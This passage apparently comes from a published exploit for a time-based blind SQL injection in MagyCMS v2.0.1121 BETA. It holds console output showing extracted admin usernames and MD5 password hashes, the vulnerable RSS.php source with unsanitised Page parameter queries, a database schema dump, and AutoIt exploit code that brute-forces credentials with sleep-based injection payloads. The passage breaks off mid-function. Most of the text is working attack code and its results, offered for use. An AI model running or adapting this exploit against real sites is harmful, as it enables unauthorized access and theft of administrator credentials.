  853. [+] TRUE AT OFFSET [2] [+]
  854. Currently MD5 hash is : 326373da562269316790326c
  855. Responce Time: 1300.28445742105 ms.
  856. Need to fetch other: [8] symbol(s).
  857. Logging to axa.txt...
  858. ----------------------------------------
  859.  
  860. ----------------------------------------
  861. [+] TRUE AT OFFSET [2] [+]
  862. Currently MD5 hash is : 326373da562269316790326c0
  863. Responce Time: 1092.92270156983 ms.
  864. Need to fetch other: [7] symbol(s).
  865. Logging to axa.txt...
  866. ----------------------------------------
  867.  
  868. ----------------------------------------
  869. [+] TRUE AT OFFSET [2] [+]
  870. Currently MD5 hash is : 326373da562269316790326c00
  871. Responce Time: 1127.17008586904 ms.
  872. Need to fetch other: [6] symbol(s).
  873. Logging to axa.txt...
  874. ----------------------------------------
  875.  
  876. ----------------------------------------
  877. [+] TRUE AT OFFSET [2] [+]
  878. Currently MD5 hash is : 326373da562269316790326c00a
  879. Responce Time: 1098.36618620519 ms.
  880. Need to fetch other: [5] symbol(s).
  881. Logging to axa.txt...
  882. ----------------------------------------
  883.  
  884. ----------------------------------------
  885. [+] TRUE AT OFFSET [2] [+]
  886. Currently MD5 hash is : 326373da562269316790326c00a9
  887. Responce Time: 1113.63942520058 ms.
  888. Need to fetch other: [4] symbol(s).
  889. Logging to axa.txt...
  890. ----------------------------------------
  891.  
  892. ----------------------------------------
  893. [+] TRUE AT OFFSET [2] [+]
  894. Currently MD5 hash is : 326373da562269316790326c00a99
  895. Responce Time: 1125.85533775888 ms.
  896. Need to fetch other: [3] symbol(s).
  897. Logging to axa.txt...
  898. ----------------------------------------
  899.  
  900. ----------------------------------------
  901. [+] TRUE AT OFFSET [2] [+]
  902. Currently MD5 hash is : 326373da562269316790326c00a997
  903. Responce Time: 1151.71279577202 ms.
  904. Need to fetch other: [2] symbol(s).
  905. Logging to axa.txt...
  906. ----------------------------------------
  907.  
  908. ----------------------------------------
  909. [+] TRUE AT OFFSET [2] [+]
  910. Currently MD5 hash is : 326373da562269316790326c00a9972
  911. Responce Time: 1133.74918720454 ms.
  912. Need to fetch other: [1] symbol(s).
  913. Logging to axa.txt...
  914. ----------------------------------------
  915.  
  916. ----------------------------------------
  917. [+] TRUE AT OFFSET [2] [+]
  918. Currently MD5 hash is : 326373da562269316790326c00a9972f
  919. Responce Time: 1126.98230301967 ms.
  920. Need to fetch other: [ *NONE* ] symbol(s).
  921. Logging to axa.txt...
  922. ----------------------------------------
  923.  
  924. ----------------------------------------
  925. [+] TRUE AT OFFSET [3] [+]
  926. Currently MD5 hash is : 7
  927. Responce Time: 1109.83144103983 ms.
  928. Need to fetch other: [31] symbol(s).
  929. Logging to axa.txt...
  930. ----------------------------------------
  931.  
  932. ----------------------------------------
  933. [+] TRUE AT OFFSET [3] [+]
  934. Currently MD5 hash is : 74
  935. Responce Time: 1098.13795060885 ms.
  936. Need to fetch other: [30] symbol(s).
  937. Logging to axa.txt...
  938. ----------------------------------------
  939.  
  940. ----------------------------------------
  941. [+] TRUE AT OFFSET [3] [+]
  942. Currently MD5 hash is : 74a
  943. Responce Time: 1096.22027336493 ms.
  944. Need to fetch other: [29] symbol(s).
  945. Logging to axa.txt...
  946. ----------------------------------------
  947.  
  948. ----------------------------------------
  949. [+] TRUE AT OFFSET [3] [+]
  950. Currently MD5 hash is : 74a5
  951. Responce Time: 1112.61976585727 ms.
  952. Need to fetch other: [28] symbol(s).
  953. Logging to axa.txt...
  954. ----------------------------------------
  955.  
  956. ----------------------------------------
  957. [+] TRUE AT OFFSET [3] [+]
  958. Currently MD5 hash is : 74a5d
  959. Responce Time: 1142.74313282603 ms.
  960. Need to fetch other: [27] symbol(s).
  961. Logging to axa.txt...
  962. ----------------------------------------
  963.  
  964. ----------------------------------------
  965. [+] TRUE AT OFFSET [3] [+]
  966. Currently MD5 hash is : 74a5d1
  967. Responce Time: 1084.91810768561 ms.
  968. Need to fetch other: [26] symbol(s).
  969. Logging to axa.txt...
  970. ----------------------------------------
  971.  
  972. ----------------------------------------
  973. [+] TRUE AT OFFSET [3] [+]
  974. Currently MD5 hash is : 74a5d1f
  975. Responce Time: 1112.79996992547 ms.
  976. Need to fetch other: [25] symbol(s).
  977. Logging to axa.txt...
  978. ----------------------------------------
  979.  
  980. ----------------------------------------
  981. [+] TRUE AT OFFSET [3] [+]
  982. Currently MD5 hash is : 74a5d1ff
  983. Responce Time: 1098.22970548891 ms.
  984. Need to fetch other: [24] symbol(s).
  985. Logging to axa.txt...
  986. ----------------------------------------
  987.  
  988. ----------------------------------------
  989. [+] TRUE AT OFFSET [3] [+]
  990. Currently MD5 hash is : 74a5d1ffc
  991. Responce Time: 1162.94171493733 ms.
  992. Need to fetch other: [23] symbol(s).
  993. Logging to axa.txt...
  994. ----------------------------------------
  995.  
  996. ----------------------------------------
  997. [+] TRUE AT OFFSET [3] [+]
  998. Currently MD5 hash is : 74a5d1ffce
  999. Responce Time: 1288.16907398647 ms.
  1000. Need to fetch other: [22] symbol(s).
  1001. Logging to axa.txt...
  1002. ----------------------------------------
  1003.  
  1004. ----------------------------------------
  1005. [+] TRUE AT OFFSET [3] [+]
  1006. Currently MD5 hash is : 74a5d1ffce4
  1007. Responce Time: 1141.83313523826 ms.
  1008. Need to fetch other: [21] symbol(s).
  1009. Logging to axa.txt...
  1010. ----------------------------------------
  1011.  
  1012. ----------------------------------------
  1013. [+] TRUE AT OFFSET [3] [+]
  1014. Currently MD5 hash is : 74a5d1ffce47
  1015. Responce Time: 1103.65852377924 ms.
  1016. Need to fetch other: [20] symbol(s).
  1017. Logging to axa.txt...
  1018. ----------------------------------------
  1019.  
  1020. ----------------------------------------
  1021. [+] TRUE AT OFFSET [3] [+]
  1022. Currently MD5 hash is : 74a5d1ffce472
  1023. Responce Time: 1168.90490496762 ms.
  1024. Need to fetch other: [19] symbol(s).
  1025. Logging to axa.txt...
  1026. ----------------------------------------
  1027.  
  1028. ----------------------------------------
  1029. [+] TRUE AT OFFSET [3] [+]
  1030. Currently MD5 hash is : 74a5d1ffce472f
  1031. Responce Time: 1096.50154288596 ms.
  1032. Need to fetch other: [18] symbol(s).
  1033. Logging to axa.txt...
  1034. ----------------------------------------
  1035.  
  1036. ----------------------------------------
  1037. [+] TRUE AT OFFSET [3] [+]
  1038. Currently MD5 hash is : 74a5d1ffce472f0
  1039. Responce Time: 1139.7646542839 ms.
  1040. Need to fetch other: [17] symbol(s).
  1041. Logging to axa.txt...
  1042. ----------------------------------------
  1043.  
  1044. ----------------------------------------
  1045. [+] TRUE AT OFFSET [3] [+]
  1046. Currently MD5 hash is : 74a5d1ffce472f02
  1047. Responce Time: 1108.4753730338 ms.
  1048. Need to fetch other: [16] symbol(s).
  1049. Logging to axa.txt...
  1050. ----------------------------------------
  1051.  
  1052. ----------------------------------------
  1053. [+] TRUE AT OFFSET [3] [+]
  1054. Currently MD5 hash is : 74a5d1ffce472f020
  1055. Responce Time: 1088.28836460353 ms.
  1056. Need to fetch other: [15] symbol(s).
  1057. Logging to axa.txt...
  1058. ----------------------------------------
  1059.  
  1060. ----------------------------------------
  1061. [+] TRUE AT OFFSET [3] [+]
  1062. Currently MD5 hash is : 74a5d1ffce472f0206
  1063. Responce Time: 1077.87990864862 ms.
  1064. Need to fetch other: [14] symbol(s).
  1065. Logging to axa.txt...
  1066. ----------------------------------------
  1067.  
  1068. ----------------------------------------
  1069. [+] TRUE AT OFFSET [3] [+]
  1070. Currently MD5 hash is : 74a5d1ffce472f0206d
  1071. Responce Time: 1079.14208898928 ms.
  1072. Need to fetch other: [13] symbol(s).
  1073. Logging to axa.txt...
  1074. ----------------------------------------
  1075.  
  1076. ----------------------------------------
  1077. [+] TRUE AT OFFSET [3] [+]
  1078. Currently MD5 hash is : 74a5d1ffce472f0206dd
  1079. Responce Time: 1108.17988076703 ms.
  1080. Need to fetch other: [12] symbol(s).
  1081. Logging to axa.txt...
  1082. ----------------------------------------
  1083.  
  1084. ----------------------------------------
  1085. [+] TRUE AT OFFSET [3] [+]
  1086. Currently MD5 hash is : 74a5d1ffce472f0206dd4
  1087. Responce Time: 1164.49911938021 ms.
  1088. Need to fetch other: [11] symbol(s).
  1089. Logging to axa.txt...
  1090. ----------------------------------------
  1091.  
  1092. ----------------------------------------
  1093. [+] TRUE AT OFFSET [3] [+]
  1094. Currently MD5 hash is : 74a5d1ffce472f0206dd48
  1095. Responce Time: 1100.86175303173 ms.
  1096. Need to fetch other: [10] symbol(s).
  1097. Logging to axa.txt...
  1098. ----------------------------------------
  1099.  
  1100. ----------------------------------------
  1101. [+] TRUE AT OFFSET [3] [+]
  1102. Currently MD5 hash is : 74a5d1ffce472f0206dd48c
  1103. Responce Time: 1083.53360421294 ms.
  1104. Need to fetch other: [9] symbol(s).
  1105. Logging to axa.txt...
  1106. ----------------------------------------
  1107.  
  1108. ----------------------------------------
  1109. [+] TRUE AT OFFSET [3] [+]
  1110. Currently MD5 hash is : 74a5d1ffce472f0206dd48c8
  1111. Responce Time: 1094.66155316143 ms.
  1112. Need to fetch other: [8] symbol(s).
  1113. Logging to axa.txt...
  1114. ----------------------------------------
  1115.  
  1116. ----------------------------------------
  1117. [+] TRUE AT OFFSET [3] [+]
  1118. Currently MD5 hash is : 74a5d1ffce472f0206dd48c8e
  1119. Responce Time: 1079.25520931559 ms.
  1120. Need to fetch other: [7] symbol(s).
  1121. Logging to axa.txt...
  1122. ----------------------------------------
  1123.  
  1124. ----------------------------------------
  1125. [+] TRUE AT OFFSET [3] [+]
  1126. Currently MD5 hash is : 74a5d1ffce472f0206dd48c8ee
  1127. Responce Time: 1089.64739495061 ms.
  1128. Need to fetch other: [6] symbol(s).
  1129. Logging to axa.txt...
  1130. ----------------------------------------
  1131.  
  1132. ----------------------------------------
  1133. [+] TRUE AT OFFSET [3] [+]
  1134. Currently MD5 hash is : 74a5d1ffce472f0206dd48c8ee4
  1135. Responce Time: 1075.80823227561 ms.
  1136. Need to fetch other: [5] symbol(s).
  1137. Logging to axa.txt...
  1138. ----------------------------------------
  1139.  
  1140. ----------------------------------------
  1141. [+] TRUE AT OFFSET [3] [+]
  1142. Currently MD5 hash is : 74a5d1ffce472f0206dd48c8ee44
  1143. Responce Time: 1078.8765208783 ms.
  1144. Need to fetch other: [4] symbol(s).
  1145. Logging to axa.txt...
  1146. ----------------------------------------
  1147.  
  1148. ----------------------------------------
  1149. [+] TRUE AT OFFSET [3] [+]
  1150. Currently MD5 hash is : 74a5d1ffce472f0206dd48c8ee44c
  1151. Responce Time: 1110.63264652718 ms.
  1152. Need to fetch other: [3] symbol(s).
  1153. Logging to axa.txt...
  1154. ----------------------------------------
  1155.  
  1156. ----------------------------------------
  1157. [+] TRUE AT OFFSET [3] [+]
  1158. Currently MD5 hash is : 74a5d1ffce472f0206dd48c8ee44ca
  1159. Responce Time: 1081.87636987911 ms.
  1160. Need to fetch other: [2] symbol(s).
  1161. Logging to axa.txt...
  1162. ----------------------------------------
  1163.  
  1164. ----------------------------------------
  1165. [+] TRUE AT OFFSET [3] [+]
  1166. Currently MD5 hash is : 74a5d1ffce472f0206dd48c8ee44ca6
  1167. Responce Time: 1079.1007891431 ms.
  1168. Need to fetch other: [1] symbol(s).
  1169. Logging to axa.txt...
  1170. ----------------------------------------
  1171.  
  1172. ----------------------------------------
  1173. [+] TRUE AT OFFSET [3] [+]
  1174. Currently MD5 hash is : 74a5d1ffce472f0206dd48c8ee44ca6c
  1175. Responce Time: 1100.79408534274 ms.
  1176. Need to fetch other: [ *NONE* ] symbol(s).
  1177. Logging to axa.txt...
  1178. ----------------------------------------
  1179.  
  1180. ----------------------------------------
  1181.  
  1182. ----------------------------------------
  1183. Username: [manager] MD5 HASH: [04e8e47e68a7b58594fdcf994c5d490d]
  1184. ----------------------------------------
  1185.  
  1186. ----------------------------------------
  1187. Username: [root] MD5 HASH: [e10adc3949ba59abbe56e057f20f883e]
  1188. ----------------------------------------
  1189.  
  1190. ----------------------------------------
  1191. Username: [d] MD5 HASH: [326373da562269316790326c00a9972f]
  1192. ----------------------------------------
  1193.  
  1194. ----------------------------------------
  1195. Username: [test] MD5 HASH: [74a5d1ffce472f0206dd48c8ee44ca6c]
  1196. ----------------------------------------
  1197.  
  1198. ----------------------------------------
  1199.  
  1200. ----------------------------------------
  1201. [+] Usernames And MD5 passwords saved to : mainlog.txt [+]
  1202. ----------------------------------------
  1203.  
  1204. ----------------------------------------
  1205. [+] Exploit Finished!. GooD Luck;) [+]
  1206. ----------------------------------------
  1207. [+] Exit! [+]
  1208.  
  1209.  
  1210.  
  1211.  
  1212.  
  1213.  
  1214.  
  1215.  
  1216.  
  1217.  
  1218. --------------------------------------------------------------------
  1219. Vulnerable Code Section:
  1220. ========================== BEGIN ===================================
  1221.  
  1222.  
  1223.  
  1224. //magycms/Framework/public/RSS.php?Page=
  1225. /*
  1226. <?
  1227. // Check if data.inc.php is included
  1228. if(!isset($FRAMEWORK_PATH))
  1229. require_once(dirname(__FILE__)."/../../Admin/Inc/data.inc.php");
  1230. require_once(dirname(__FILE__)."/../Common.php");
  1231. require_once(dirname(__FILE__)."/../Links.php");
  1232. require_once(dirname(__FILE__)."/../URL.php");
  1233. require_once($CMS_ROOTPATH . 'Admin/Inc/db/adodb.inc.php');
  1234.  
  1235. /**
  1236. * Returns News Category for page with passed name
  1237. *
  1238. * @param string $page
  1239. * @return int ID of category
  1240. */
  1241. function getCatByPage($page)
  1242. {
  1243. global $db, $tbl_Pages, $tbl_News_Config, $SITEID;
  1244. // Get Page ID for fetching Category
  1245. $query = "SELECT `ID` FROM `$tbl_Pages` WHERE `Name`='$page' AND `site`=$SITEID";
  1246. $hResult = $db->Execute($query);
  1247. if (!$hResult->NumRows())
  1248. return -1;
  1249. $row = $hResult->FetchRow();
  1250. $ID = $row[0];
  1251.  
  1252. // Fetch category form DB;
  1253. $query = "SELECT `Category` FROM $tbl_News_Config WHERE `ID`=$ID AND `site`=$SITEID";
  1254. $hResult = $db->Execute($query);
  1255. if (!$hResult->NumRows())
  1256. return -1;
  1257. $row = $hResult->FetchRow();
  1258. return $row[0];
  1259. }
  1260.  
  1261. //////////////////// Opening database connection ////////////////
  1262. $db = &ADONewConnection($DBType);
  1263. $db->PConnect($DBServer,$DBUserName,$DBPassword,$DBName);
  1264. // Switch to the specified charset
  1265. if($DBType=="mysql") $db->Execute("SET NAMES \"$DBCharset\"");
  1266.  
  1267. ///////////////////////// Get Site ID ///////////////////////////
  1268. if (isset($_GET['site'])) {
  1269. $SITEID = $_GET['site'];
  1270. if (!is_numeric($SITEID))
  1271. $SITEID = 1;
  1272. } else {
  1273. $SITEID = 1;
  1274. }
  1275.  
  1276. ////////////////// Get site URL from DB /////////////////////////
  1277. $hResult = $db->Execute("SELECT `URL` FROM $tbl_Sites WHERE `ID`=$SITEID");
  1278. $Root_URL = "aaa";
  1279. if ($hResult->NumRows())
  1280. {
  1281. $row = $hResult->FetchRow();
  1282. $Root_URL = $row[0];
  1283. }
  1284. //echo($Root_URL."<br>");
  1285.  
  1286. ////////////////// Retrieving Language Prefixes /////////////////
  1287. $Lang_Prefix = array();
  1288. $hpResult = $db->Execute("SELECT `ID`, `Prefix` FROM $tbl_Lang WHERE `site`=$SITEID");
  1289. if($hpResult) {
  1290. for($i = 0; $i < $hpResult->RowCount(); $i++) {
  1291. $apResult = $hpResult->FetchRow();
  1292. $Lang_Prefix[$apResult[0]] = $apResult[1];
  1293. }
  1294. }
  1295.  
  1296. ///////////////////////// Determine language ////////////////////
  1297. if (isset($_GET['lang'])) {
  1298. $lang = $_GET['lang'];
  1299. if (!is_numeric($lang))
  1300. $lang = GetSiteSetting('Default_lang');
  1301. } else {
  1302. $lang = GetSiteSetting('Default_lang');
  1303. }
  1304.  
  1305. ///////////////////////// Determine news Page and Category //////
  1306. $cat = -1;
  1307. $page = "";
  1308. if (isset($_GET['Page'])) {
  1309. $page = $_GET['Page'];
  1310. $cat = getCatByPage($page);
  1311. }
  1312.  
  1313. //////////////////// Get Page information if such exists ////////
  1314. $title = "News";
  1315. $text = "";
  1316. if ($page != "")
  1317. {
  1318. $pQuery = "SELECT `ID` FROM `$tbl_Pages` WHERE `Name`='$page' AND `site`=$SITEID";
  1319. $hResult = $db->Execute($pQuery);
  1320. if (!$hResult->NumRows())
  1321. return -1;
  1322. $row = $hResult->FetchRow();
  1323. $ID = $row[0];
  1324.  
  1325. // Fetch Title and Text form DB;
  1326. $pQuery = "SELECT Title, Text
  1327. FROM $tbl_News_Config AS s INNER JOIN $tbl_News_Config_Data AS d ON s.ID = d.ID
  1328. WHERE s.ID=$ID AND d.language=$lang AND site=$SITEID";
  1329. $hResult = $db->Execute($pQuery);
  1330. if ($hResult->NumRows())
  1331. {
  1332. $row = $hResult->FetchRow();
  1333. $title = $row[0];
  1334. $text = $row[1];
  1335. }
  1336. }
  1337. // Construct link to News page
  1338. $mainLink = ($page == "") ? "" : $Root_URL.CLink::construct($page, $lang);
  1339.  
  1340. ///////////////////////// GET NEWS //////////////////////////////
  1341. if ($cat == -1)
  1342. $mainQuery = "SELECT s.`ID`, s.`Date`, d.`Title`, d.`ShortText` , `start_date` , `end_date`
  1343. FROM $tbl_News_Struct AS s INNER JOIN $tbl_News_Data AS d ON s.`ID`=d.`ID`
  1344. WHERE d.language=$lang AND s.`site`=$SITEID";
  1345. else
  1346. $mainQuery = "SELECT s.`ID`, s.`Date`, d.`Title`, d.`ShortText` , `start_date` , `end_date`
  1347. FROM $tbl_News_Struct AS s INNER JOIN $tbl_News_Data AS d ON s.`ID`=d.`ID`
  1348. WHERE d.language=$lang AND s.`site`=$SITEID AND s.`Category`=$cat";
  1349.  
  1350. $hResult = $db->Execute($mainQuery);
  1351. // check if there is something to echo
  1352. if (!$hResult->NumRows())
  1353. die();
  1354.  
  1355. ///////////////////////// Echo News in RSS //////////////////////
  1356. CRSS::echoHeader($title, $mainLink, $text, getdate(), $Lang_Prefix[$lang]);
  1357. for ($i = 0; $i < $hResult->NumRows(); $i++)
  1358. {
  1359. $row = $hResult->FetchRow();
  1360. $today = date("Y-m-d H:i:s");
  1361. $startDate = $row[4];
  1362. $endDate = $row[5];
  1363. $startDateIsOK = (substr($startDate, 0, 10) == "0000-00-00" || $today >= $startDate);
  1364. $endDateIsOK = (substr($endDate, 0, 10) == "0000-00-00" || $today <= $endDate);
  1365. if ( $startDateIsOK && $endDateIsOK )
  1366. {
  1367. $link = $Root_URL.CURL::getFormattedURL(CLink::construct($page, $lang), "id", "{$row[0]}");
  1368. CRSS::echoItem($row[2], $link, $link, $row[1], $row[3]);
  1369. }
  1370. }
  1371. CRSS::echoFooter();
  1372. ?>
  1373.  
  1374. <?
  1375. class CRSS {
  1376. public static function echoHeader ($title, $link, $desc, $lastBD, $lang)
  1377. {
  1378. // send XML header
  1379. header('Content-Type: application/rss+xml; charset=utf-8');
  1380. // echo XML header
  1381. echo('<?xml version="1.0" encoding="utf-8"?>');
  1382. // echo RSS opening tags
  1383. echo('<rss version="2.0"><channel>\n');
  1384.  
  1385. if ($title != "") echo ("<title>$title</title>\n");
  1386. if ($link != "") echo ("<link>$link</link>\n");
  1387. if ($desc != "") echo ("<description>$desc</description>\n");
  1388. if ($lastBD != "") echo ("<lastBuildDate>$lastBD Mon, 12 Sep 2005 18:37:00 GMT</lastBuildDate>\n");
  1389. if ($lang != "") echo ("<language>$lang en-us</language>\n");
  1390. }
  1391.  
  1392. public static function echoFooter ()
  1393. {
  1394. // echo RSS closing tags
  1395. echo('</channel></rss>');
  1396. }
  1397.  
  1398. public static function echoItem($title, $link, $guid, $pubDate, $desc)
  1399. {
  1400. // Strip undesired characters from description
  1401. $desc = ereg_replace("&[^;]*;", "", $desc);
  1402. $desc = strip_tags($desc);
  1403.  
  1404. // Turn Published date into RFC format
  1405. $time = strtotime($pubDate);
  1406. $pubDate = gmdate("r", $time);
  1407.  
  1408. // Echo the item
  1409. echo ("<item>\n");
  1410. if ($title != "") echo ("<title>$title</title>\n");
  1411. if ($link != "") echo ("<link>$link</link>\n");
  1412. if ($guid != "") echo ("<guid>$guid</guid>\n");
  1413. if ($pubDate != "") echo ("<pubDate>$pubDate</pubDate>\n");
  1414. if ($desc != "") echo ("<description>$desc</description>\n");
  1415. echo ("</item>\n");
  1416. }
  1417. }
  1418. ?>
  1419.  
  1420.  
  1421.  
  1422. */
  1423.  
  1424. ========================= END OF VULNERABLE CODE SECTION ===========================
  1425.  
  1426.  
  1427.  
  1428.  
  1429. mysql> show tables \g
  1430. +-------------------------+
  1431. | Tables_in_SNIP_SNIP_SNIP|
  1432. +-------------------------+
  1433. | admin_menus |
  1434. | admin_menus_category |
  1435. | admin_menus_permissions |
  1436. | admin_users |
  1437. | banner_categories |
  1438. | banners |
  1439. | banners_data |
  1440. | banners_struct |
  1441. | cms_languages |
  1442. | cms_messages_categories |
  1443. | cms_messages_data |
  1444. | cms_messages_struct |
  1445. | cms_settings |
  1446. | core_messages |
  1447. | counter |
  1448. +-------------------------+
  1449. 15 rows in set (0.00 sec)
  1450.  
  1451. mysql> explain admin_users \g
  1452. +----------+------------------+------+-----+---------+----------------+
  1453. | Field | Type | Null | Key | Default | Extra |
  1454. +----------+------------------+------+-----+---------+----------------+
  1455. | ID | int(10) unsigned | NO | PRI | NULL | auto_increment |
  1456. | Username | varchar(100) | YES | | 0 | |
  1457. | Password | varchar(100) | YES | | 0 | |
  1458. | GUID | varchar(32) | YES | | 0 | |
  1459. | Level | int(10) unsigned | YES | MUL | 0 | |
  1460. | Name | varchar(100) | YES | | 0 | |
  1461. | Email | varchar(45) | YES | | 0 | |
  1462. | MID | int(10) unsigned | YES | | 0 | |
  1463. +----------+------------------+------+-----+---------+----------------+
  1464. 8 rows in set (0.00 sec)
  1465.  
  1466.  
  1467.  
  1468. *************************************************
  1469.  
  1470. A R E Y O U R E A D Y?
  1471. LETS GOOOOOOOOOOOOOOOOOOOOOOOOOOO!
  1472.  
  1473. *************************************************
  1474.  
  1475. #ce
  1476.  
  1477. Global $USERNAMES_IN_ARRAY,$MD5HASHSTRINGSIN_ARRAY,$dd
  1478.  
  1479.  
  1480.  
  1481. ;// COMMAND LINE //
  1482. if $CmdLine[0]=0 Then
  1483. MsgBox(64,"","This is a console application." & @CRLF & "Usage: " & @CRLF & @ScriptName & ' http://targetsite.tld')
  1484. Exit
  1485. EndIf
  1486. $host=$CmdLine[1]
  1487.  
  1488. if $host='' Then
  1489. ConsoleWrite(@CRLF & '[+] Empty Command Line Argument? WTF? [+]' & @CRLF)
  1490. Exit
  1491. EndIf
  1492.  
  1493.  
  1494.  
  1495. ConsoleWrite(@CRLF)
  1496. $hellomsg= _StringRepeat('#',54) & @CRLF
  1497. $allmsg=$hellomsg & '# MagyCMS v2.0.1121 BETA Blind SQL Injection Exploit #' & @CRLF & _
  1498. '# Exploitation technique: Time Based #' & @CRLF & _
  1499. '# Author: AkaStep & BOT_25 #' & @CRLF & _
  1500. $hellomsg;
  1501.  
  1502. ConsoleWrite($allmsg);
  1503.  
  1504. $useragent='Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1';
  1505.  
  1506. #cs
  1507. First checking is here any internet connection?
  1508. #ce
  1509.  
  1510. $separator=@CRLF & _StringRepeat('-',40) & @CRLF;
  1511. ConsoleWrite($separator & '[+] Verifying your internet connection.... Please Wait...[+] ' & $separator)
  1512. Sleep(1500)
  1513. $hcheckconnectionstatus='http://packetstormsecurity.org';// 100% TODD will kill me ASAP for this xD)
  1514.  
  1515. HttpSetUserAgent($useragent)
  1516. $is_offline_or_online=_INetGetSource($hcheckconnectionstatus,True);
  1517. if @error Then
  1518. ConsoleWrite($separator & "[+] Sorry Dude! It seems your machine is offline. [+] " & @CRLF & "[+] Can't continue...Exit. [+] " & $separator);
  1519. Exit
  1520. EndIf
  1521.  
  1522. ConsoleWrite($separator & '[+] Inet Connection is OK .... [+] ' & $separator)
  1523. $target=$host & "/magycms/Framework/public/RSS.php?Page="
  1524. ;// Vulnerable versions of magycms always panics here by exposing following message to public.
  1525. $isvulnerable='Call to a member function NumRows() on a non-object';// Peace of Blah Blah Stuff :P
  1526.  
  1527. $possiblevals='';//initializing of variable...
  1528.  
  1529.  
  1530. $forusernames='';// initializing it too...
  1531. for $i=28 to 61
  1532. $forusernames&=Chr(Asc("A")+$i) & @CRLF
  1533.  
  1534. Next
  1535.  
  1536.  
  1537. for $i=0 To 9
  1538.  
  1539. $possiblevals&=$i & @CRLF
  1540. ; nums from 0 1 2 3 4 5 6 7 8 up to 9
  1541.  
  1542. Next
  1543. ; then alphas from a b c d e up to f
  1544. $forusernames&=$possiblevals;
  1545.  
  1546. $possiblevals&='a' & @CRLF & 'b' & @CRLF & 'c' & @CRLF & 'd' & @CRLF & 'e' & @CRLF & 'f' & @CRLF
  1547.  
  1548. $array=StringSplit($possiblevals,@CRLF,3)
  1549.  
  1550. $bruteusernames=StringSplit($forusernames,@CRLF,3);
  1551.  
  1552. $i='';//reset.
  1553.  
  1554. ConsoleWrite($separator & '[+] Verifying is Target Site Vulnerable? Please wait...[+]' & $separator);
  1555. $maybe=_INetGetSource($target & "'",TRUE) ;//verifying...Is target site vulnerable?
  1556. if StringInStr($maybe,$isvulnerable,0) Then
  1557. $true='vulnerable'; // GPC=OFF
  1558. ConsoleWrite($separator & '[+] Reply from target site: [+]' & @CRLF & $separator & '[+] - - - - * Vulnerable! * - - - - . [+]' & $separator & @CRLF & _
  1559. '[+] Trying to get average value for sleep(1) if condition is TRUE...[+]' & @CRLF & $separator & '[+] Please wait... [+] ' & $separator & @CRLF);
  1560.  
  1561. $additionalchecking_needed='false';
  1562.  
  1563. ;// Will check 3 times (with TRUE condition) to get optimal avg value.
  1564.  
  1565. ;//////////////////// Responce time when condition is TRUE //////////////
  1566.  
  1567. local $docalc;
  1568. for $i=1 to 3
  1569.  
  1570.  
  1571. $checkfirsttime=TimerInit();
  1572.  
  1573. HttpSetUserAgent($useragent);
  1574. _INetGetSource($target & "' or (select if(8='8',sleep(1),0))-- AnD 9='9",True);
  1575.  
  1576. $rtime=TimerDiff($checkfirsttime);
  1577.  
  1578. $docalc+=$rtime;
  1579. Next
  1580. $checkfirsttime='';
  1581. $rtime='';
  1582. $i='';
  1583. $docalcavg=Int($docalc/3);//avg value for sleep(1).
  1584. $docalc='';
  1585. ConsoleWrite($separator & '[+] AVG sleep timeout FOR TRUE CONDITION IS: ' & $docalcavg & ' ms [+]' & $separator);
  1586.  
  1587. ;////////////// EOF TRUE CONDITION CHECKING ///////////////////////////
  1588.  
  1589. ;////////////////////// WITH FALSE CONDITION ///////////////////////////
  1590.  
  1591.  
  1592. for $i=1 to 3
  1593.  
  1594.  
  1595. $checkfirsttime=TimerInit();
  1596. HttpSetUserAgent($useragent);
  1597. _INetGetSource($target & "' or (select if(8='index.php',sleep(1),0))-- AnD 9='9",True);
  1598.  
  1599.  
  1600. $rtime=TimerDiff($checkfirsttime);
  1601.  
  1602.  
  1603. $docalc+=$rtime;
  1604.  
  1605.  
  1606. Next
  1607. $checkfirsttime='';
  1608. $rtime='';
  1609. $i='';
  1610.  
  1611.  
  1612. $avgfalsecondition=Int($docalc/3);
  1613. $docalc='';
  1614.  
  1615. ConsoleWrite($separator & '[+] AVG sleep timeout FOR FALSE CONDITION IS: ' & $avgfalsecondition & ' ms [+] ' & $separator);
  1616.  
  1617. ;//////////////// END OF FALSE CONDITION ///////////////////////////////
  1618.  
  1619. getusername();// Fetch usernames Baby)//
  1620.  
  1621. Else
  1622. $true='not vulnerable'; //GPC =ON ?
  1623. ConsoleWrite($separator & '[+] Target Site is NOT vulnerable:( .Exit. [+]' & $separator)
  1624. ;// Lazy to verify it using another technique.
  1625.  
  1626. Exit
  1627.  
  1628. EndIf
  1629.  
  1630.  
  1631.  
  1632.  
  1633. Func getusername()
  1634. ;//Brain f****cking
  1635. Local $oldoffset=0
  1636. $USERNAMES='';
  1637.  
  1638. ConsoleWrite($separator & '[+] Getting To Fetch Username(s) from table... Please wait... [+] ' & $separator)
  1639. $usernamen='';
  1640. $tyi=0;
  1641. $x=0;
  1642. $stopat=0;
  1643.  
  1644.  
  1645. do
  1646. $tyi+=1
  1647. $stopat+=1
  1648.  
  1649. if $tyi=21 Then
  1650. $tyi=1;
  1651.  
  1652. $x+=1
  1653. $USERNAMES&=$usernamen & @CRLF
  1654.  
  1655.  
  1656.  
  1657.  
  1658. $usernamen='';//reset
  1659. EndIf
  1660.  
  1661.  
  1662. $limitval= ' limit 1 offset ' & $x
  1663.  
  1664.  
  1665. if $x<6 and $stopat<=5160 Then
  1666.  
  1667. for $q=1 To UBound($bruteusernames) - 2
  1668.  
  1669.  
  1670.  
  1671. $fetch_username=$target & "' or (select if(substr(Username," & $tyi & ",1)='" & $bruteusernames[$q] & "',sleep(1),0) from admin_users" &$limitval & ")-- AnD 4='4" & @CRLF
  1672.  
  1673.  
  1674. $timer=TimerInit();
  1675.  
  1676. HttpSetUserAgent($useragent);
  1677. $inethandle=_INetGetSource($fetch_username,True)
  1678.  
  1679. $diftime=TimerDiff($timer);
  1680.  
  1681. if ($diftime/$docalcavg)>=0.8 Then
  1682.  
  1683.  
  1684. $usernamen&=$bruteusernames[$q]
  1685.  
  1686.  
  1687.  
  1688. ConsoleWrite('[+] TRUE AT OFFSET [' & $x & '] Currently : [' & $usernamen & ']. Responce Time: ' & $diftime & ' ms. Logging to axa.txt... [+]' & @CRLF);
  1689.  
  1690.  
  1691.  
  1692. FileWrite('axa.txt',$separator & @CRLF & '[+] TRUE AT OFFSET[' & $x & ']' & @CRLF & $usernamen & @CRLF & 'Current Payload: ' & $fetch_username & @CRLF &'Responce Time: ' & $diftime & ' ms ' & @CRLF & $separator)
  1693.  
  1694.  
  1695.  
